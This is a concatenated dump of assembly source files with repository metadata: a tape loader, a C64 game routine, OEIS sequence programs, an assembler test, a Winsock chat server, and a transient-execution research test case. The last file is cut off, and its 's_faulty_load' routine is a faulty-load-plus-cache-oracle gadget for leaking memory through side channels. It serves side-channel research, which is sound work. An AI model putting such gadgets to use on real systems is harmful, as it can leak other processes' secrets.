FOREVER: OUT 001H
OUT 011H
OUT 005H
OUT 023H
JMP FOREVER
;----------------------------------------------------------
; MOD TABLE.
; THIS IS A TABLE OF PORT ADDRESSES, COMMANDS FOR CHECKING
; THE PORT STATUS (JZ/JNZ), AND STATUS MASKS FOR SEVERAL
; I/O BOARDS. THE VALUES ARE STUFFED INTO THE READBYTE
; ROUTINE AT RUNTIME TO CUSTOMIZE IT FOR THE HARDWARE
; BEING USED TO LOAD THE TAPE.
;
TABLE1: DB 011H, 0CAH, 001H ; 2SIO (2 STOP BITS)
DB 011H, 0CAH, 001H ; 2SIO (1 STOP BIT)
DB 001H, 0C2H, 001H ; SIO
DB 007H, 0C2H, 001H ; ACR
DB 021H, 0CAH, 080H ; 4PIO
DB 005H, 0CAH, 002H ; PIO
DB 025H, 0CAH, 040H ; HSR
END
| 41.020896 | 91 | 0.504002 |
dade125e0df43b732fa80cbc547022c95dbfe045 | 4,465 | asm | Assembly | AirDefense_MoveSprites.asm | absayuti/AirDefenseC64 | ba10a1f2ca752244cf1e983a7cc7ce39414fb0fd | [
"MIT"
] | null | null | null | AirDefense_MoveSprites.asm | absayuti/AirDefenseC64 | ba10a1f2ca752244cf1e983a7cc7ce39414fb0fd | [
"MIT"
] | null | null | null | AirDefense_MoveSprites.asm | absayuti/AirDefenseC64 | ba10a1f2ca752244cf1e983a7cc7ce39414fb0fd | [
"MIT"
] | null | null | null | *=$C000 ; ORG at 49152
; Registers where sprite (screen) position is specified
vic = 53248
sp0x = vic
sp0y = vic+1
sp1x = vic+2
sp1y = vic+3
sp2x = vic+4
sp2y = vic+5
; We use an unused block at 820-827 to store sprite location on screen
; so that we can poke and peek from BASIC
param = 820
x_xhair = param
y_xhair = param+1
x_bomb = param+2
y_bomb = param+3
x_missl = param+4
y_missl = param+5
flags = param+6 ; Bomb(1).Explode(2).MisslV(4).MisslH(8).
; Hit(16).Missed(32)
; Min & max allowable values for the bomb and crosshair positions
xmin_xhair = 16
xmax_xhair = 252
ymin_xhair = 40
ymax_xhair = 220
xmin_bomb = 0
xmax_bomb = 252
ymin_bomb = 24
ymax_bomb = 235
x0_missl = 24 ; Origin of missile position (x>255)
y0_missl = 220
; Location where key code is stored when key is pressed
inkey = 197
; Key codes when specific key is pressed
keyA = 10
keyZ = 12
keyLT = 47
keyGT = 44
keySP = 60
; Start of program ------------------------------------------------------------
LDA flags ; Check flags
AND #1 ; If no bomb dropped,
BEQ readinkey ; skip to read inkey
movebomb ; Move bomb down
LDA y_bomb
ADC #1
CMP #ymax_bomb
BCC @placeit
LDA #2 ; flag = explode
STA flags
@placeit
STA y_bomb
STA sp1y
LDA flags ; Check if missile is launched
AND #12
BEQ readinkey ; If NOT, skip to read inkey
; Missile motion routine ------------------------------------------------------
movemissile
LDA flags ; Check if vertical / horizontal motion
AND #4 ; If not vertical,
BEQ misslhoriz ; move horizontally
misslvert
LDA x_missl
STA sp2x
LDA y_missl
SBC #4
CMP y_xhair
BCS changemotion
STA sp2y
RTS
changemotion
LDA flags
AND #251 ; off bit 2 (misslV)
ORA #8 ; ON bit 4 (misslH)
STA flags
misslhoriz
LDA y_missl
STA sp2y
LDA x_missl
SBC #4
CMP #4
BCS missloff
STA sp2x
; check collision with the bomb
;
RTS
missloff
LDA flags
AND #247 ; off bit 4 (misslH)
ORA #32 ; ON bit 5 (Missed)
STA flags
RTS
; Read inkey and move crosshair -----------------------------------------------
readinkey
LDA inkey ; Check key @ 197
moveup ; if 'A' move crosshair up
CMP #keyA
BNE movedown
LDA y_xhair
SBC #2
CMP #ymin_xhair ; Greater than Y.min?
BCS @placeit
LDA #ymin_xhair
@placeit
STA y_xhair
STA sp0y
RTS
movedown ; if 'Z' move crosshair down
CMP #keyZ
BNE moveleft
LDA y_xhair
ADC #2
CMP #ymax_xhair ; Less than Y.max?
BCC @placeit
LDA #ymax_xhair
@placeit
STA y_xhair
STA sp0y
RTS
moveleft ; if '<' move crosshair left
CMP #keyLT
BNE moveright
LDA x_xhair
SBC #2
CMP #xmin_xhair ; Less than Y.max?
BCS @placeit
LDA #xmin_xhair
@placeit
STA x_xhair
STA sp0x
RTS
moveright ; if '>' move crosshair right
CMP #keyGT
BNE fire
LDA x_xhair
ADC #2
CMP #xmax_xhair ; Less than Y.max?
BCC @placeit
LDA #xmax_xhair
@placeit
STA x_xhair
STA sp0x
RTS
fire ; if {space} fire missile
CMP #keySP
BNE done
LDA #4 ; flag = launch missile, vertical motion
STA flags
done
RTS
; ------------------------------ end ------------------------------------------ | 26.420118 | 104 | 0.444121 |
f2d91d223485ccdde1d04de2a33b108d25dc5cc8 | 796 | asm | Assembly | oeis/124/A124405.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/124/A124405.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/124/A124405.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A124405: a(n) = 1 + Sum_{i=1..n} Sum_{j=1..n} i^j.
; Submitted by Christian Krause
; 2,9,57,495,5700,82201,1419761,28501117,651233662,16676686697,472883843993,14705395791307,497538872883728,18193397941038737,714950006521386977,30046260016074301945,1344648068888240941018,63841580906470188418225,3205037832959611351099145,169632644582122797919941831,9440074338296075628412318332,551043319898085426656275417449,33665976392689262324788687783377,2148453916451773094814306082184821,142954315115171592920461281336269846,9900928274622390826195640947695867097
add $0,1
mov $2,1
mov $3,$0
mov $4,$0
mul $0,0
lpb $3
mov $5,$4
mov $6,0
lpb $5
add $6,1
mul $6,$2
mov $7,$0
cmp $7,0
sub $5,$7
lpe
add $1,$6
add $2,1
mov $7,$0
cmp $7,0
sub $3,$7
lpe
mov $0,$1
add $0,1
| 28.428571 | 468 | 0.756281 |
527b8108e679f98a6596d0a01dbe6ab3bb74b999 | 1,249 | asm | Assembly | programs/oeis/213/A213586.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/213/A213586.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/213/A213586.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A213586: Antidiagonal sums of the convolution array A213584.
; 1,6,20,51,112,224,421,758,1324,2263,3808,6336,10457,17158,28036,45675,74256,120544,195485,316790,513116,830831,1344960,2176896,3523057,5701254,9225716,14928483,24155824,39086048,63243733,102331766,165577612,267911623,433491616,701405760,1134900041,1836308614,2971211620,4807523355,7778738256,12586265056,20365006925,32951275766,53316286652,86267566559,139583857536,225851428608,365435290849,591286724358,956722020308,1548008749971,2504730775792,4052739531488,6557470313221,10610209850870,17167680170476,27777890027959,44945570205280,72723460240320,117669030452921,190392490700806,308061521161540,498454011870411,806515533040272,1304969544919264,2111485077968381,3416454622896758,5527939700874524,8944394323780943
mov $12,$0
mov $14,$0
add $14,1
lpb $14,1
clr $0,12
mov $0,$12
sub $14,1
sub $0,$14
mov $9,$0
mov $11,$0
add $11,1
lpb $11,1
mov $0,$9
sub $11,1
sub $0,$11
add $4,1
mov $5,$0
add $5,2
sub $5,$4
mov $8,1
add $8,$0
add $0,$8
add $5,2
mov $6,1
lpb $0,1
trn $0,2
mov $3,$6
mov $8,$6
add $6,$5
mov $5,4
add $5,$8
lpe
add $10,$3
lpe
add $13,$10
lpe
mov $1,$13
| 30.463415 | 714 | 0.71257 |
ecd94d765ddece8e73d36618d3362c3c6edcb715 | 646 | asm | Assembly | tests/relocate/empty_relocation_table.asm | fengjixuchui/sjasmplus | df0fabd2411bf89e23637fce46d273f52dafbe16 | [
"BSD-3-Clause"
] | 220 | 2016-10-22T19:44:39.000Z | 2022-03-29T20:57:04.000Z | tests/relocate/empty_relocation_table.asm | ped7g/sjasmplus | 487635c8057cd5594c372d9b70bc00a3f3a1ecc4 | [
"BSD-3-Clause"
] | 153 | 2018-05-07T10:31:23.000Z | 2022-03-30T04:35:59.000Z | tests/relocate/empty_relocation_table.asm | ped7g/sjasmplus | 487635c8057cd5594c372d9b70bc00a3f3a1ecc4 | [
"BSD-3-Clause"
] | 51 | 2016-05-12T21:27:36.000Z | 2022-03-27T15:16:16.000Z | call label_out_relocate ; outside of relocation area
ORG $1000
RELOCATE_START
dw relocate_count ; should be zero
dw relocate_size ; should be zero
nop
call label_out_relocate ; should be absolute call (not in relocate data)
equ_label equ $1001
ld hl,equ_label ; should be absolute (equ) value (not in relocate data)
unused_label: ; should not produce any relocation data, just defines "relocatable" label
RELOCATE_TABLE ; should emit no relocation data
RELOCATE_END
; outside of relocation area
label_out_relocate:
ret
| 38 | 106 | 0.651703 |
38792371c8f53d5702a8712eac2733d101d266f2 | 1,356 | asm | Assembly | programs/oeis/217/A217571.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/217/A217571.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/217/A217571.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A217571: a(n) = (2*n*(n+5) + (2*n+1)*(-1)^n - 1)/8.
; 1,4,5,10,11,18,19,28,29,40,41,54,55,70,71,88,89,108,109,130,131,154,155,180,181,208,209,238,239,270,271,304,305,340,341,378,379,418,419,460,461,504,505,550,551,598,599,648,649,700,701,754,755,810,811,868,869,928,929,990,991,1054,1055,1120,1121,1188,1189,1258,1259,1330,1331,1404,1405,1480,1481,1558,1559,1638,1639,1720,1721,1804,1805,1890,1891,1978,1979,2068,2069,2160,2161,2254,2255,2350,2351,2448,2449,2548,2549,2650,2651,2754,2755,2860,2861,2968,2969,3078,3079,3190,3191,3304,3305,3420,3421,3538,3539,3658,3659,3780,3781,3904,3905,4030,4031,4158,4159,4288,4289,4420,4421,4554,4555,4690,4691,4828,4829,4968,4969,5110,5111,5254,5255,5400,5401,5548,5549,5698,5699,5850,5851,6004,6005,6160,6161,6318,6319,6478,6479,6640,6641,6804,6805,6970,6971,7138,7139,7308,7309,7480,7481,7654,7655,7830,7831,8008,8009,8188,8189,8370,8371,8554,8555,8740,8741,8928,8929,9118,9119,9310,9311,9504,9505,9700,9701,9898,9899,10098,10099,10300,10301,10504,10505,10710,10711,10918,10919,11128,11129,11340,11341,11554,11555,11770,11771,11988,11989,12208,12209,12430,12431,12654,12655,12880,12881,13108,13109,13338,13339,13570,13571,13804,13805,14040,14041,14278,14279,14518,14519,14760,14761,15004,15005,15250,15251,15498,15499,15748,15749,16000
mov $1,$0
mov $2,$0
div $2,2
sub $1,$2
add $0,$1
pow $1,2
add $1,$0
add $1,1
| 113 | 1,223 | 0.761062 |
f1dee634b325a4625a6ba6c0d3c67b2561c2738a | 164 | asm | Assembly | includes/DPC_ORG.asm | Al-Nafuur/batari-Basic | 9988745b6f1879730e6a8c83e7d21deb106e091a | [
"CC0-1.0"
] | 47 | 2020-01-20T00:52:34.000Z | 2022-02-04T01:21:23.000Z | includes/DPC_ORG.asm | Al-Nafuur/batari-Basic | 9988745b6f1879730e6a8c83e7d21deb106e091a | [
"CC0-1.0"
] | 5 | 2020-03-08T10:37:24.000Z | 2021-03-25T15:50:50.000Z | includes/DPC_ORG.asm | Al-Nafuur/batari-Basic | 9988745b6f1879730e6a8c83e7d21deb106e091a | [
"CC0-1.0"
] | 10 | 2020-02-23T08:09:59.000Z | 2022-03-12T07:45:02.000Z | ; Provided under the CC0 license. See the included LICENSE.txt for details.
ORG $7FF4-bscode_length
RORG $DFF4-bscode_length
DPC_graphics_end
| 23.428571 | 76 | 0.713415 |
a4fe2e303a192000c3f70fd1d6d79799337bbdbe | 584 | asm | Assembly | oeis/154/A154262.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/154/A154262.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/154/A154262.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A154262: a(n) = 9*n^2 - 10*n + 3.
; 3,2,19,54,107,178,267,374,499,642,803,982,1179,1394,1627,1878,2147,2434,2739,3062,3403,3762,4139,4534,4947,5378,5827,6294,6779,7282,7803,8342,8899,9474,10067,10678,11307,11954,12619,13302,14003,14722,15459,16214,16987,17778,18587,19414,20259,21122,22003,22902,23819,24754,25707,26678,27667,28674,29699,30742,31803,32882,33979,35094,36227,37378,38547,39734,40939,42162,43403,44662,45939,47234,48547,49878,51227,52594,53979,55382,56803,58242,59699,61174,62667,64178,65707,67254,68819,70402,72003,73622
mul $0,9
sub $0,5
pow $0,2
add $0,2
div $0,9
| 64.888889 | 501 | 0.768836 |
9c1636b1f57a87a6f7224ebacc7aedfae414805f | 503 | asm | Assembly | programs/oeis/135/A135631.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/135/A135631.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/135/A135631.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A135631: Multiples of 31.
; 0,31,62,93,124,155,186,217,248,279,310,341,372,403,434,465,496,527,558,589,620,651,682,713,744,775,806,837,868,899,930,961,992,1023,1054,1085,1116,1147,1178,1209,1240,1271,1302,1333,1364,1395,1426,1457,1488,1519,1550,1581,1612,1643,1674,1705,1736,1767,1798,1829,1860,1891,1922,1953,1984,2015,2046,2077,2108,2139,2170,2201,2232,2263,2294,2325,2356,2387,2418,2449,2480,2511,2542,2573,2604,2635,2666,2697,2728,2759,2790,2821,2852,2883,2914,2945,2976,3007,3038,3069
mul $0,31
| 100.6 | 463 | 0.771372 |
9fe4893fbc324f025a2a963216ead7c36887ea42 | 688 | asm | Assembly | programs/oeis/295/A295884.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/295/A295884.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/295/A295884.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A295884: Number of exponents larger than 3 in the prime factorization of n.
; 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0
cal $0,244417 ; Exponents of 6 in appearing in the 6-adic value of 1/n, n>=1 (A244416).
div $0,4
mov $1,$0
| 98.285714 | 501 | 0.555233 |
7c7518e441d0d66a02f9c6191153c508840c7d6a | 9,871 | asm | Assembly | wsaSock.asm | thisforeda/chat-server-assembly-Win-ASM | 0028285ec470f28ae04046584ad5b8131b7eb808 | [
"Apache-2.0"
] | null | null | null | wsaSock.asm | thisforeda/chat-server-assembly-Win-ASM | 0028285ec470f28ae04046584ad5b8131b7eb808 | [
"Apache-2.0"
] | null | null | null | wsaSock.asm | thisforeda/chat-server-assembly-Win-ASM | 0028285ec470f28ae04046584ad5b8131b7eb808 | [
"Apache-2.0"
] | null | null | null |
;-----------------------------------------------------------
;==========聊天服务器程序 by YiDa.Z====================
;build with windows socket 2
;注意:本程序只能处理最多50个客户端连接
;1:服务器响应的基本描述:
; 客户端连接到服务器后,服务器会发生一条0302 CONNECTED消息给客户端
; 如果客户端recv到这条消息,代表服务器已收到并接受了连接请求
; 服务器支持用户昵称
; 如果客户端发送消息 'USER BigBird',服务器收到消息后会将发送消息的客户端昵称
; 改为 BigBird,此消息不会发送到所有客户端
; 其余消息例如 HELLO EVERYONE!将会发送到所有与服务器建立连接的客户端
;1:服务器发送到客户端的数据结构:
; 用C语言的结构描述大概是
; struct {
; word hour;
; word minutes;
; word seconds;
; char username[n];
; char messages[n];
; }
; 具体结构参照下方PYTHON发送和接收的数据
; >>> siz = i.send(b'USER ZhangYiDa')
; >>> siz = i.send(b'hello! everyOne!')
; >>> i.recv(9999)
; b'\x05\x00\X58\X99\X00\x00ZhangYiDa\x00hello! everyOne!\x00
; 前6个字节是消息发送时间(WORD),接着是用户名(NULL结尾)消息(NULL结尾)
;
;--------------------------------------------------------------------
.686
.model flat, stdcall
option casemap :none
include windows.inc
include macros.inc ;属于masm32v11 中的 macros.asm
include wsaSock.inc ;自定义头文件
UseLib kernel32,ws2_32 ;UseLib也是一个属于macros.asm的宏,我把它改成了大写.
.code
wsaSock proc dwIp:dword,wPort:dword
LOCAL nev:WSANETWORKEVENTS
LOCAL sin:sockaddr_in,sinLen:dword
LOCAL sock:dword,eventId:dword
LOCAL hUiS:dword,hEvS:dword
LOCAL Index:dword
invoke InitEventStruct
.if eax!=NULL && ebx!=NULL
mov hEvS ,eax ;hEvS 是指向SOCKEVENTS结构的指针
mov hUiS ,ebx ;hUiS 是指向USERINFO结构的指针
assume esi:ptr SOCKEVENTS
mov esi ,hEvS
mov [esi].wVersion ,0202h
invoke WSAStartup,[esi].wVersion,addr [esi].wsaData
invoke socket,AF_INET,SOCK_STREAM,NULL
.if eax!=INVALID_SOCKET
;填充 sockaddr_in 结构
mov sock ,eax
mov sin.sin_family ,AF_INET
mov eax ,wPort
mov sin.sin_port ,ax
m2m sin.sin_addr.S_un.S_addr ,dwIp
;绑定端口
invoke bind,sock,addr sin,addr sinLen
.if eax!=SOCKET_ERROR
;开始监听
invoke listen,sock,BACK_LOG
;为服务SOCKET创建一个事件
invoke WSACreateEvent
.if eax!=WSA_INVALID_EVENT
mov [esi].cEvent ,1
mov dword ptr [esi].events ,eax
m2m dword ptr [esi].sockets ,sock
assume esi:nothing
;为服务SOCKET添加事件 FD_ACCEPT&FD_CLOSE
invoke WSAEventSelect,sock,eax,FD_ACCEPT OR FD_CLOSE
.if eax!=SOCKET_ERROR
;esi指针从此指向 sockets 数组
;edi指针从此指向 events 数组
assume esi:ptr SOCKEVENTS
mov esi ,hEvS
lea edi ,[esi].events
lea esi ,[esi].sockets
.while TRUE
;开始捕获事件
; pushad
; print LastError$()
; mov eax ,hEvS
; assume eax:ptr SOCKEVENTS
; mov eax ,[eax].cEvent
; print udd$(eax)
; popad
assume ebx:ptr SOCKEVENTS
mov ebx ,hEvS
invoke WSAWaitForMultipleEvents,[ebx].cEvent,edi,FALSE,WSA_INFINITE,FALSE
assume ebx:nothing
.if eax<WSA_WAIT_EVENT_0 + MAX_EVENTS
;;;WSA_WAIT_EVENT_0 值为 0
;;;sub eax ,WSA_WAIT_EVENT_0 (因为WSA_WAIT_EVENT_0 = 0,所以这条指令无所谓)
mov eventId ,eax ;暂时保持发生事件的event ID
lea ebx ,nev
;获取发生的事件
invoke WSAEnumNetworkEvents,dword ptr[esi+eax*dword],dword ptr[edi+eax*dword],ebx
.if eax!=SOCKET_ERROR
mov eax ,nev.lNetworkEvents
.if eax == FD_ACCEPT
;计算发生事件的SOCKET 的指针
mov eax ,eventId
lea ebx ,[esi+eax*dword]
;允许这个SOCKET的连接请求
invoke accept,dword ptr[ebx],addr sin,addr sinLen
.if eax!=INVALID_SOCKET
;暂时保存这个新的SOCKET
mov sock ,eax
;为这个SOCKET创建事件
invoke WSACreateEvent
.if eax!=WSA_INVALID_EVENT
;将新的SOCKET和事件添加进结构队列
assume ebx:ptr SOCKEVENTS
mov ebx ,hEvS
mov ebx ,[ebx].cEvent
mov dword ptr[edi+ebx*dword] ,eax
m2m dword ptr[esi+ebx*dword] ,sock
;为这个事件添加所需事件(recv,send,close)
invoke WSAEventSelect,sock,eax,FD_READ OR FD_WRITE OR FD_CLOSE
.if eax!=SOCKET_ERROR
mov ebx ,hEvS
assume eax:ptr USERINFO
;计算id为cEvent的项的指针
push hEvS
push [ebx].cEvent
call calcThisIdPtr
;保存这个客户端的ip和端口
m2m [eax].uIp ,sin.sin_addr.S_un.S_addr ;用户的IP地址(DWORD值)
m2m [eax].uPort ,sin.sin_port ;用户的端口
;没有错误发生,增加需要处理的事件数cEvent
inc [ebx].cEvent
assume ebx:nothing
; ;print chr$("FD_ACCEPT")
.endif
.endif
.endif
.elseif eax == FD_READ
mov edx ,eventId
mov eax ,dword ptr[esi+edx*dword]
assume ebx:ptr SOCKEVENTS
mov ebx ,hEvS
mov [ebx].rcvData.post ,FALSE
lea ebx ,[ebx].rcvData.data
push ebx
push eax
call Recv
mov byte ptr[ebx+eax],NULL
assume eax:ptr SOCKEVENTS
;eax ->msg sender
mov eax ,hEvS
lea eax ,[eax].users
mov eax ,dword ptr[eax+edx*dword]
assume eax:ptr USERINFO
lea eax ,[eax].uName
cmp dword ptr[ebx],'RESU'
.if ZERO?
assume eax:ptr USERINFO
add ebx ,5
.else
mov ebx ,hEvS
mov [ebx].rcvData.post ,TRUE
lea ebx ,[ebx].rcvData.user
xchg eax ,ebx
.endif
invoke lstrcpy,eax,ebx
push eventId
push hEvS
call PostRecv
; ;print chr$("FD_READ")
.elseif eax == FD_WRITE
; print chr$("FD_WRITE")
mov ebx ,eventId
mov ebx ,dword ptr[esi+ebx*dword]
;发送消息给客户端提示已连接
invoke send,ebx,addr id302,MSG_LEN,0
.elseif eax == FD_CLOSE
mov eax ,eventId
;关闭事件,并从队列中清除
invoke WSACloseEvent,dword ptr[edi+eax*dword]
invoke kickClosed,hEvS,eventId
; ;print chr$("FD_CLOSE")
.endif
.endif
.endif
.endw
.endif
;mov eax ,SELECT_EVENT_ERR
.endif
;mov eax ,CREATE_EVENT_ERR
.endif
;mov eax ,BIND_ERR
.endif
.endif
;mov eax ,SOCKET_ERR
ret
wsaSock endp
Recv proc uses ebx ecx edx sock:dword,buf:dword
invoke recv,sock,buf,MAX_RECV,0
ret
Recv endp
kickClosed proc hEv:dword,evId:dword
pushad
assume eax:ptr SOCKEVENTS
mov eax ,hEv
mov ecx ,[eax].cEvent
dec [eax].cEvent
sub ecx ,evId
;获取基地址
lea esi ,[eax].sockets
lea edi ,[eax].events
lea eax ,[eax].users
;计算需要踢出队列的ID的偏移地址
mov ebx ,evId
lea eax ,[eax+ebx*dword]
lea esi ,[esi+ebx*dword]
lea edi ,[edi+ebx*dword]
assume eax:nothing
@@:
dec ecx
jecxz @f
m2m dword ptr[edi] ,dword ptr[edi+dword]
m2m dword ptr[esi] ,dword ptr[esi+dword]
m2m dword ptr[eax] ,dword ptr[eax+dword]
add edi ,dword
add esi ,dword
add eax ,dword
jmp @b
@@:
popad
ret
kickClosed endp
PostRecv proc hEvs:dword,evId:dword
LOCAL buf[MAX_RECV]:BYTE
LOCAL tm:SYSTEMTIME
LOCAL pMsg:dword
LOCAL pUsr:dword
LOCAL pSock:dword
LOCAL Index:dword
LOCAL sSize:dword
pushad
invoke GetSystemTime,addr tm
lea eax ,buf
m2m word ptr[eax] ,tm.wHour
m2m word ptr[eax+02h] ,tm.wMinute
m2m word ptr[eax+04h] ,tm.wSecond
assume eax:ptr SOCKEVENTS
mov eax ,hEvs
.if dword ptr[eax].rcvData.post
lea ebx ,[eax].sockets
mov pSock ,ebx
mov ebx ,[eax].cEvent
mov Index ,ebx
lea esi ,[eax].rcvData.user
push eax
invoke lstrlen,esi
mov ecx ,eax
pop eax
lea ebx ,buf
lea edi ,[ebx+6]
clc
rep movsb
mov byte ptr[edi] ,0
inc edi
lea esi ,[eax].rcvData.data
invoke lstrlen,esi
mov ecx ,eax
clc
rep movsb
mov byte ptr[edi] ,0
inc edi
lea esi ,buf
sub edi ,esi
mov esi ,pSock
mov ecx ,Index
.while Index>1
add esi ,dword
invoke send,dword ptr[esi],addr buf,edi,0
dec Index
.endw
.endif
popad
ret
PostRecv endp
InitEventStruct proc
LOCAL hEvStruct:dword
LOCAL hUiStruct:dword
LOCAL hHeap:dword
invoke GetProcessHeap
mov hHeap ,eax
invoke HeapAlloc,eax,HEAP_NO_SERIALIZE OR \
HEAP_ZERO_MEMORY,sizeof SOCKEVENTS
mov hEvStruct ,eax
.if eax!=NULL
invoke HeapAlloc,hHeap,HEAP_NO_SERIALIZE OR \
HEAP_ZERO_MEMORY,sizeof USERINFO*MAX_CLIENT
mov hUiStruct ,eax
.if eax!=NULL
xor ecx ,ecx
assume ebx:ptr SOCKEVENTS
mov ebx ,hEvStruct
lea ebx ,[ebx].users
.while ecx!=MAX_CLIENT
mov dword ptr[ebx+ecx*dword] ,eax
add eax ,sizeof USERINFO
inc ecx
.endw
.endif
.endif
mov eax ,hEvStruct
mov ebx ,hUiStruct
ret
InitEventStruct endp
calcThisIdPtr proc id:dword,hEvs:dword
push ebx
mov eax ,id
mov ebx ,hEvs
assume ebx:ptr SOCKEVENTS
lea ebx ,[ebx].users
mov eax ,dword ptr[ebx+eax*dword]
pop ebx
assume ebx:nothing
ret
calcThisIdPtr endp
DllEntry proc hInstance:HANDLE,dwReason:dword,lpvReserved:dword
mov eax ,TRUE
ret
DllEntry endp
Start proc ipaddr:dword,port:dword
invoke htons,port
push eax
invoke inet_addr,ipaddr
push eax
call wsaSock
mov eax ,-1
ret
Start endp
end DllEntry
| 27.118132 | 91 | 0.562253 |
bd1ee1cb7a8e6ac857b4332a8f249ef946da39d7 | 4,984 | asm | Assembly | Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_5444_885.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_5444_885.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_5444_885.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r15
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x63d1, %r14
clflush (%r14)
nop
nop
nop
nop
sub $32486, %rsi
mov (%r14), %r15
nop
nop
nop
sub $43836, %rsi
lea addresses_A_ht+0x1e0d1, %rsi
lea addresses_WT_ht+0x2fd1, %rdi
nop
nop
nop
nop
xor $1197, %rdx
mov $113, %rcx
rep movsw
nop
nop
nop
xor %rcx, %rcx
lea addresses_UC_ht+0x18de9, %r15
nop
add $8916, %rbp
mov $0x6162636465666768, %rdx
movq %rdx, (%r15)
nop
nop
nop
nop
nop
sub $13641, %rdi
lea addresses_A_ht+0x1efd1, %rcx
nop
nop
nop
nop
nop
dec %rbp
vmovups (%rcx), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $1, %xmm7, %r15
and $20096, %rbp
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r15
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r15
push %rax
push %rbp
push %rdi
// Faulty Load
lea addresses_A+0xe3d1, %rdi
nop
and $35154, %r14
vmovups (%rdi), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $1, %xmm5, %rbp
lea oracles, %r15
and $0xff, %rbp
shlq $12, %rbp
mov (%r15,%rbp,1), %rbp
pop %rdi
pop %rbp
pop %rax
pop %r15
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
